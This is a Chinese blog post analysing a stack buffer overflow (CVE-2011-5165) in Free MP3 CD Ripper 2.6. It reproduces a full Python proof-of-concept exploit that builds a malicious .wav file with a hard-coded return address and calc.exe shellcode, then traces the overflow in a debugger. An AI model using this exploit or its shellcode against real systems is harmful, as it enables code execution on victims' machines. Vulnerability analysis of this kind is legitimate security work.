CVE-2011-5165 Free MP3 CD Ripper 2.6栈溢出漏洞分析

0x00  参考
         https://www.exploit-db.com/exploits/36465/
       poc:
         
#!/usr/bin/python
  
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Free MP3 CD Ripper All versions Local Buffer Overflow
#[+] Date: 20-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
 
## EDB Note: Didn't work with Windows 7.
 
from struct import pack
file="evilfile.wav"
junk="\x41"*4112
eip = pack('<I',0x7C9D30D7)
nops = "\x90" * 3
#Calc.exe Shellcode
shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
"\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3"
"\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd"
"\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8"
"\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5"
"\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87"
"\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")
writeFile = open (file, "w")
writeFile.write(junk+eip+nops+shellcode)
writeFile.close()

通过poc生成的evilfile.wav,把返回地址(eip)修改成0xffffffff,用Free MP3 CD Ripper2.6打开后,在崩溃前用调试器附加程序

0x01 漏洞分析

触发漏洞后,由于跳转到非法地址,调试器会中断下来,通过栈回溯4047fe地址前的函数调用,一般为漏洞发生的地方


eip被覆盖为0xffffffff


在call edx下断

这里会调用2次,第1次检测是否存在C:\PROGRAm~2\FREEMP~1\Output\evilfile.mp3


单步跟,这里离真正触发那里比较远。(一直跟到分配内存那块)

分配的空间大小为418个字节

继续单步

读取到刚刚分配的空间里,先读取4个字节进行类型判断,后面就一个字节一个字节的读取

当把poc中的数据读取完,或者读取到数据大于2000时就停止读取
(这里就产生了溢出,缓冲区分配才418个字节,加上其他分配的局部变量才100c,即使不超过2000,也溢出了)

评论

此博客中的热门博文

Opencart-v3-0-3-0 user changes password at csrf vulnerability

Docker's latest version of privilege escalation vulnerability

Charles 4.2.7 XML External Entity